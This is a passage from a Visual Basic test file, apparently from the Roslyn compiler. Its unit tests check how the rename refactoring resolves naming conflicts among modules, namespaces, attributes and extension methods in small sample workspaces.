]]></Document> </Project> </Workspace>, renameTo:="A") result.AssertLabeledSpansAre("Replacement", "N.X.A", type:=RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WpfFact(Skip:="566542")> <Trait(Traits.Feature, Traits.Features.Rename)> <WorkItem(543068, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/543068")> <WorkItem(566542, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/566542")> Public Sub ResolveConflictingTypeIncludedThroughModule2() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document><![CDATA[ Class C Inherits {|Replacement:N.{|Resolved:A|}|} End Class Namespace N Module X Class [|$$A|] End Class End Module Module Y Class B End Class End Module End Namespace ]]></Document> </Project> </Workspace>, renameTo:="B") result.AssertLabeledSpansAre("Replacement", "N.X.B") result.AssertLabeledSpansAre("Resolved", type:=RelatedLocationType.ResolvedReferenceConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> <WorkItem(543068, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/543068")> Public Sub ResolveConflictingTypeImportedFromMultipleTypes() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document><![CDATA[ Imports X Imports Y Module Program Sub Main {|stmt1:Goo|} = 1 End Sub End Module Class X Public Shared [|$$Goo|] End Class Class Y Public Shared Bar End Class ]]></Document> </Project> </Workspace>, renameTo:="Bar") result.AssertLabeledSpansAre("stmt1", "X.Bar = 1", RelatedLocationType.ResolvedReferenceConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> <WorkItem(542936, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/542936")> Public Sub ConflictWithImplicitlyDeclaredLocal() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document><![CDATA[ Option Explicit Off Module Program Function [|$$Goo|] {|Conflict:Bar|} = 1 End Function End Module ]]></Document> </Project> </Workspace>, renameTo:="Bar") result.AssertLabeledSpansAre("Conflict", type:=RelatedLocationType.UnresolvedConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> <WorkItem(542886, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/542886")> Public Sub RenameForRangeVariableUsedInLambda() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document><![CDATA[ Module Program Sub Main(args As String()) For {|stmt1:$$i|} = 1 To 20 Dim q As Action = Sub() Console.WriteLine({|stmt1:i|}) End Sub Next End Sub End Module ]]></Document> </Project> </Workspace>, renameTo:="j") result.AssertLabeledSpansAre("stmt1", "j", RelatedLocationType.NoConflict) End Using End Sub <Fact> <WorkItem(543021, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/543021")> <Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ShouldNotCascadeToExplicitlyImplementedInterfaceMethodOfDifferentName() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Public Interface MyInterface Sub Bar() End Interface Public Structure MyStructure Implements MyInterface Private Sub [|$$I_Bar|]() Implements MyInterface.Bar End Sub End Structure </Document> </Project> </Workspace>, renameTo:="Baz") End Using End Sub <Fact> <WorkItem(543021, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/543021")> <Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ShouldNotCascadeToImplementingMethodOfDifferentName() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Public Interface MyInterface Sub [|$$Bar|]() End Interface Public Structure MyStructure Implements MyInterface Private Sub I_Bar() Implements MyInterface.[|Bar|] End Sub End Structure </Document> </Project> </Workspace>, renameTo:="Baz") End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameAttributeSuffix() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document FilePath="Test.vb"><![CDATA[ Imports System <{|Special:Something|}()> Public class goo End class Public Class [|$$SomethingAttribute|] Inherits Attribute End Class]]></Document> </Project> </Workspace>, renameTo:="SpecialAttribute") result.AssertLabeledSpansAre("Special", "Special", type:=RelatedLocationType.NoConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameAttributeFromUsage() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document FilePath="Test.vb"><![CDATA[ Imports System <{|Special:Something|}()> Public class goo End class Public Class {|Special:$$SomethingAttribute|} Inherits Attribute End Class]]></Document> </Project> </Workspace>, renameTo:="Special") result.AssertLabeledSpansAre("Special", "Special", type:=RelatedLocationType.NoConflict) End Using End Sub <WorkItem(543488, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/543488")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameFunctionCallAfterElse() ' This is a simple scenario but it has a somewhat strange tree in VB. The ' BeginTerminator of the ElseBlockSyntax is missing, and just so happens to land at ' the same location as the NewMethod invocation that follows the Else. Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"> Module Program Sub Main(ByRef args As String()) If (True) Else {|stmt1:NewMethod|}() : End If End Sub Private Sub [|$$NewMethod|]() End Sub End Module </Document> </Project> </Workspace>, renameTo:="NewMethod1") result.AssertLabeledSpansAre("stmt1", "NewMethod1", RelatedLocationType.NoConflict) End Using End Sub <WorkItem(11004, "DevDiv_Projects/Roslyn")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameImplicitlyDeclaredLocal() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"> Option Explicit Off Module Program Sub Main(args As String()) {|stmt1:$$goo|} = 23 {|stmt2:goo|} = 42 End Sub End Module </Document> </Project> </Workspace>, renameTo:="barbaz") result.AssertLabeledSpansAre("stmt1", "barbaz", RelatedLocationType.NoConflict) result.AssertLabeledSpansAre("stmt2", "barbaz", RelatedLocationType.NoConflict) End Using End Sub <WorkItem(11004, "DevDiv_Projects/Roslyn")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameFieldToConflictWithImplicitlyDeclaredLocal() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"> Option Explicit Off Module Program Dim [|$$bar|] As Object Sub Main(args As String()) {|stmt1_2:goo|} = {|stmt1:bar|} {|stmt2:goo|} = 42 End Sub End Module </Document> </Project> </Workspace>, renameTo:="goo") result.AssertLabeledSpansAre("stmt1", "goo", type:=RelatedLocationType.NoConflict) result.AssertLabeledSpansAre("stmt1_2", type:=RelatedLocationType.UnresolvedConflict) result.AssertLabeledSpansAre("stmt2", type:=RelatedLocationType.UnresolvedConflict) End Using End Sub <WorkItem(543420, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/543420")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameParameterOfEvent() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"> Class Test Public Event Percent(ByVal [|$$p|] As Single) Public Shared Sub Main() End Sub End Class </Document> </Project> </Workspace>, renameTo:="barbaz") End Using End Sub <WorkItem(543587, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/543587")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameLocalInMethodMissingParameterList() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"> Imports System Module Program Sub Main Dim {|stmt1:$$a|} As Integer End Sub End Module </Document> </Project> </Workspace>, renameTo:="barbaz") result.AssertLabeledSpansAre("stmt1", "barbaz", RelatedLocationType.NoConflict) End Using End Sub <WorkItem(542649, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/542649")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub QualifyTypeWithGlobalWhenConflicting() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"> Class A End Class Class B Dim x As {|Resolve:A|} Class [|$$C|] End Class End Class </Document> </Project> </Workspace>, renameTo:="A") result.AssertLabeledSpansAre("Resolve", "Global.A", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(542322, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/542322")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub QualifyFieldInReDimStatement() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"> Module Preserve Sub Main Dim Bar ReDim {|stmt1:Goo|}(0) End Sub Property [|$$Goo|] End Module </Document> </Project> </Workspace>, renameTo:="Bar") result.AssertLabeledSpansAre("stmt1", "ReDim [Preserve].Bar(0)", RelatedLocationType.ResolvedReferenceConflict) End Using End Sub <WorkItem(566542, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/566542")> <WorkItem(545604, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/545604")> <WpfFact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub QualifyTypeNameInImports() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"> Imports {|Resolve:X|} Module M Class X End Class End Module Module N Class [|$$Y|] ' Rename Y to X End Class End Module </Document> </Project> </Workspace>, renameTo:="X") result.AssertLabeledSpansAre("Resolve", "M.X", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameNewOverload() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"> Imports System Module Program Sub Main() {|ResolvedNonReference:Goo|}(Sub(x) x.{|Resolve:Old|}()) End Sub Sub Goo(x As Action(Of I)) End Sub Sub Goo(x As Action(Of C)) End Sub End Module Interface I Sub {|Escape:$$Old|}() End Interface Class C Sub [New]() End Sub End Class </Document> </Project> </Workspace>, renameTo:="New") result.AssertLabeledSpecialSpansAre("Escape", "[New]", RelatedLocationType.NoConflict) result.AssertLabeledSpansAre("Resolve", "Goo(Sub(x) x.New())", RelatedLocationType.ResolvedReferenceConflict) result.AssertLabeledSpansAre("ResolvedNonReference", "Goo(Sub(x) x.New())", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameAttributeRequiringReducedNameToResolveConflict() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"><![CDATA[ Public Class [|$$YAttribute|] Inherits System.Attribute End Class Public Class ZAttributeAttribute Inherits System.Attribute End Class <{|resolve:YAttribute|}> Class Class1 End Class Class Class2 End Class ]]> </Document> </Project> </Workspace>, renameTo:="ZAttribute") result.AssertLabeledSpecialSpansAre("resolve", "Z", RelatedLocationType.ResolvedReferenceConflict) End Using End Sub <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameEvent() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"> Imports System Namespace N Public Interface I Event [|$$X|] As EventHandler ' Rename X to Y End Interface End Namespace </Document> </Project> <Project Language="C#" AssemblyName="CSharpAssembly" CommonReferences="true"> <ProjectReference>VBAssembly</ProjectReference> <Document FilePath="Test.cs"> using System; using N; class C : I { event EventHandler I.[|X|] { add { } remove { } } } </Document> </Project> </Workspace>, renameTo:="Y") End Using End Sub <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameInterfaceImplementation() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"> Imports System Interface I Sub Goo(Optional x As Integer = 0) End Interface Class C Implements I Shared Sub Main() DirectCast(New C(), I).Goo() End Sub Private Sub [|$$I_Goo|](Optional x As Integer = 0) Implements I.Goo Console.WriteLine("test") End Sub End Class </Document> </Project> </Workspace>, renameTo:="Goo") End Using End Sub <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameAttributeConflictWithNamespace() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"><![CDATA[ Imports System Namespace X Class [|$$A|] ' Rename A to B Inherits Attribute End Class Namespace N.BAttribute <{|Resolve:A|}> Delegate Sub F() End Namespace End Namespace ]]> </Document> </Project> </Workspace>, renameTo:="B") result.AssertLabeledSpansAre("Resolve", "X.B", RelatedLocationType.ResolvedReferenceConflict) End Using End Sub <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameREMToUnicodeREM() Dim text = ChrW(82) & ChrW(69) & ChrW(77) Dim compareText = "[" & text & "]" Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"> Module {|Resolve:$$[REM]|} End Module </Document> </Project> </Workspace>, renameTo:=text) result.AssertLabeledSpecialSpansAre("Resolve", compareText, RelatedLocationType.NoConflict) End Using End Sub <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameImports() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"><![CDATA[ Imports [|$$S|] = System.Collections Imports System Namespace X <A> Class A Inherits {|Resolve1:Attribute|} End Class End Namespace Module M Dim a As {|Resolve2:S|}.ArrayList End Module ]]> </Document> </Project> </Workspace>, renameTo:="Attribute") result.AssertLabeledSpansAre("Resolve1", "System.Attribute", RelatedLocationType.ResolvedNonReferenceConflict) result.AssertLabeledSpansAre("Resolve2", "Attribute", RelatedLocationType.NoConflict) End Using End Sub <WorkItem(578105, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/578105")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub Bug578105_VBRenamingPartialMethodDifferentCasing() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"><![CDATA[ Class Goo Partial Private Sub [|Goo|]() End Sub Private Sub [|$$goo|]() End Sub End Class ]]> </Document> </Project> </Workspace>, renameTo:="Baz") End Using End Sub <WorkItem(588142, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/588142")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub Bug588142_SimplifyAttributeUsageCanAlwaysEscapeInVB() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"><![CDATA[ Imports System <{|escaped:A|}> Class [|$$AAttribute|] ' Rename A to RemAttribute Inherits Attribute End Class ]]> </Document> </Project> </Workspace>, renameTo:="RemAttribute") result.AssertLabeledSpansAre("escaped", "[Rem]", RelatedLocationType.NoConflict) End Using End Sub <WorkItem(588038, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/588038")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub Bug588142_RenameAttributeToAttribute() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"><![CDATA[ Imports System <{|unreduced:Goo|}> Class [|$$GooAttribute|] ' Rename Goo to Attribute Inherits {|resolved:Attribute|} End Class ]]> </Document> </Project> </Workspace>, renameTo:="Attribute") result.AssertLabeledSpansAre("unreduced", "Attribute", RelatedLocationType.NoConflict) result.AssertLabeledSpansAre("resolved", "System.Attribute", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(576573, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/576573")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub Bug576573_ConflictAttributeWithNamespace() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"><![CDATA[ Imports System Namespace X Class B Inherits Attribute End Class Namespace N.[|$$Y|] ' Rename Y to BAttribute <{|resolved:B|}> Delegate Sub F() End Namespace End Namespace ]]> </Document> </Project> </Workspace>, renameTo:="BAttribute") result.AssertLabeledSpansAre("resolved", "X.B", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(603368, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/603368")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub Bug603368_ConflictAttributeWithNamespaceCaseInsensitive() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"><![CDATA[ Imports System Namespace X Class B Inherits Attribute End Class Namespace N.[|$$Y|] ' Rename Y to BAttribute <{|resolved:B|}> Delegate Sub F() End Namespace End Namespace ]]> </Document> </Project> </Workspace>, renameTo:="BATTRIBUTE") result.AssertLabeledSpansAre("resolved", "X.B", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(603367, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/603367")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub Bug603367_ConflictAttributeWithNamespaceCaseInsensitive2() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"><![CDATA[ Imports System <{|resolved:Goo|}> Module M Class GooAttribute Inherits Attribute End Class End Module Class [|$$X|] ' Rename X to GOOATTRIBUTE End Class ]]> </Document> </Project> </Workspace>, renameTo:="GOOATTRIBUTE") result.AssertLabeledSpansAre("resolved", "M.Goo", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(603276, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/603276")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub Bug603276_ConflictAttributeWithNamespaceCaseInsensitive3() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"><![CDATA[ Imports System <[|Goo|]> Class [|$$Goo|] ' Rename Goo to ATTRIBUTE Inherits {|resolved:Attribute|} End Class ]]> </Document> </Project> </Workspace>, renameTo:="ATTRIBUTE") result.AssertLabeledSpansAre("resolved", "System.Attribute", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(529712, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/529712")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub Bug529712_ConflictNamespaceWithModuleName_1() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="VBAssembly" CommonReferences="true"> <Document FilePath="Test.vb"><![CDATA[ Module Program Sub Main() N.{|resolved:Goo|}() End Sub End Module Namespace N Namespace [|$$Y|] ' Rename Y to Goo End Namespace Module X Sub Goo() End Sub End Module End Namespace ]]> </Document> </Project> </Workspace>, renameTo:="Goo") result.AssertLabeledSpansAre("resolved", "N.X.Goo()", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(529837, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/529837")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub Bug529837_ResolveConflictByOmittingModuleName() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="Project1" CommonReferences="true"> <Document> Namespace X Public Module Y Public Class C End Class End Module End Namespace </Document> </Project> <Project Language="Visual Basic" AssemblyName="Project2" CommonReferences="true"> <ProjectReference>Project1</ProjectReference> <Document> Namespace X Namespace Y Class [|$$D|] Inherits {|resolved:C|} End Class End Namespace End Namespace </Document> </Project> </Workspace>, renameTo:="C") result.AssertLabeledSpansAre("resolved", "X.C", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(529989, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/529989")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub Bug529989_RenameCSharpIdentifierToInvalidVBIdentifier() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="C#" AssemblyName="Project1" CommonReferences="true"> <Document> public class {|invalid:$$ProgramCS|} { } </Document> </Project> <Project Language="Visual Basic" AssemblyName="Project2" CommonReferences="true"> <ProjectReference>Project1</ProjectReference> <Document> Module ProgramVB Sub Main(args As String()) Dim d As {|invalid:ProgramCS|} End Sub End Module </Document> </Project> </Workspace>, renameTo:="B\u0061r") result.AssertReplacementTextInvalid() result.AssertLabeledSpansAre("invalid", "B\u0061r", RelatedLocationType.UnresolvedConflict) End Using End Sub <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameModuleBetweenAssembly() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="Project1" CommonReferences="true"> <ProjectReference>Project2</ProjectReference> <Document> Imports System Module Program Sub Main(args As String()) Dim {|Stmt1:$$Bar|} = Sub(x) Console.Write(x) Call {|Resolve:Goo|}() {|Stmt2:Bar|}(1) End Sub End Module </Document> </Project> <Project Language="Visual Basic" AssemblyName="Project2" CommonReferences="true"> <Document> Public Module M Sub Goo() End Sub End Module </Document> </Project> </Workspace>, renameTo:="Goo") result.AssertLabeledSpansAre("Stmt1", "Goo", RelatedLocationType.NoConflict) result.AssertLabeledSpansAre("Stmt2", "Goo", RelatedLocationType.NoConflict) result.AssertLabeledSpansAre("Resolve", "Call M.Goo()", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameModuleClassConflict() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="Project1" CommonReferences="true"> <Document> Imports System Namespace N Module M Class C Shared Sub Goo() End Sub End Class End Module Class [|$$D|] Shared Sub Goo() End Sub End Class Module Program Sub Main() {|Resolve:C|}.{|Resolve:Goo|}() {|Stmt1:D|}.Goo() End Sub End Module End Namespace </Document> </Project> </Workspace>, renameTo:="C") result.AssertLabeledSpansAre("Resolve", "M.C.Goo()", RelatedLocationType.ResolvedNonReferenceConflict) result.AssertLabeledSpansAre("Stmt1", "C", RelatedLocationType.NoConflict) End Using End Sub <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameModuleNamespaceNested() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="Project1" CommonReferences="true"> <Document> Imports System Namespace N Namespace M Module K Sub Goo() End Sub End Module Module L Sub [|$$Bar|]() End Sub End Module End Namespace End Namespace Module Program Sub Main(args As String()) N.M.{|Resolve1:Goo|}() N.M.{|Resolve2:Bar|}() End Sub End Module </Document> </Project> </Workspace>, renameTo:="Goo") result.AssertLabeledSpansAre("Resolve1", "N.M.K.Goo()", RelatedLocationType.ResolvedNonReferenceConflict) result.AssertLabeledSpansAre("Resolve2", "N.M.L.Goo()", RelatedLocationType.ResolvedReferenceConflict) End Using End Sub <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameModuleConflictWithInterface() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="Project1" CommonReferences="true"> <Document> Imports System Interface M Sub goo(ByVal x As Integer) End Interface Namespace N Module [|$$K|] Sub goo(ByVal x As Integer) End Sub End Module Class C Implements {|Resolve:M|} Public Sub goo(x As Integer) Implements {|Resolve:M|}.goo Throw New NotImplementedException() End Sub End Class End Namespace </Document> </Project> </Workspace>, renameTo:="M") result.AssertLabeledSpansAre("Resolve", "Global.M", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(628700, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/628700")> <Fact(), Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameModuleConflictWithLocal() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="Project1" CommonReferences="true"> <Document> Imports System Namespace N Class D Public x() As Integer = {0, 1} End Class Module M Public x() As Integer = {0, 1} End Module Module S Dim M As New D() Dim [|$$y|] As Integer Dim p = From x In M.x Select x Dim q = From x In {|Resolve:x|} Select x End Module End Namespace </Document> </Project> </Workspace>, renameTo:="x") result.AssertLabeledSpansAre("Resolve", "N.M.x", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(633180, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/633180")> <Fact(), Trait(Traits.Feature, Traits.Features.Rename)> Public Sub VB_DetectOverLoadResolutionChangesInEnclosingInvocations() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document FilePath="Test.cs"> Imports System Imports System.Runtime.CompilerServices Module C &lt;Extension()> Public Sub Ex(x As String) End Sub Sub Outer(x As Action(Of String), y As Object) Console.WriteLine(1) End Sub Sub Outer(x As Action(Of Integer), y As Integer) Console.WriteLine(2) End Sub Sub Inner(x As Action(Of String), y As String) End Sub Sub Inner(x As Action(Of String), y As Integer) End Sub Sub Inner(x As Action(Of Integer), y As Integer) End Sub Sub Main() {|resolved:Outer|}(Sub(y) {|resolved:Inner|}(Sub(x) x.Ex(), y), 0) End Sub End Module Module E ' Rename Ex To Goo &lt;Extension()> Public Sub [|$$Ex|](x As Integer) End Sub End Module </Document> </Project> </Workspace>, renameTo:="Goo") result.AssertLabeledSpansAre("resolved", "Outer(Sub(y As String) Inner(Sub(x) x.Ex(), y), 0)", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(673562, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/673562"), WorkItem(569103, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/569103")> <Fact(), Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameNamespaceConflictsAndResolves() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Namespace NN Class C ''' &lt;see cref="{|resolve1:NN|}.C"/&gt; Public x As {|resolve2:NN|}.C End Class Namespace [|$$KK|] Class C End Class End Namespace End Namespace </Document> </Project> </Workspace>, renameTo:="NN") result.AssertLabeledSpansAre("resolve1", "Global.NN.C", RelatedLocationType.ResolvedNonReferenceConflict) result.AssertLabeledSpansAre("resolve2", "Global.NN", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(673667, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/673667")> <Fact(), Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameUnnecessaryExpansion() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document FilePath="Test.cs"> Namespace N Class C Public x As {|resolve:N|}.C End Class Class [|$$D|] Class C Public y As [|D|] End Class End Class End Namespace </Document> </Project> </Workspace>, renameTo:="N") result.AssertLabeledSpansAre("resolve", "Global.N", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(645152, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/645152")> <Fact(), Trait(Traits.Feature, Traits.Features.Rename)> Public Sub AdjustTriviaForExtensionMethodRewrite() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document FilePath="Test.cs"> Imports System.Runtime.CompilerServices Class C Sub Bar(tag As Integer) Me.{|resolve:Goo|}(1).{|resolve:Goo|}(2) End Sub End Class Module E &lt;Extension&gt; Public Function [|$$Goo|](x As C, tag As Integer) As C Return x End Function End Module </Document> </Project> </Workspace>, renameTo:="Bar") result.AssertLabeledSpansAre("resolve", "E.Bar(E.Bar(Me,1),2)", RelatedLocationType.ResolvedReferenceConflict) End Using End Sub <WorkItem(569103, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/569103")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameCrefWithConflict() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Imports F = N Namespace N Interface I Sub Goo() End Interface End Namespace Class C Private Class E Implements {|Resolve:F|}.I ''' <summary> ''' This is a function <see cref="{|Resolve:F|}.I.Goo"/> ''' </summary> 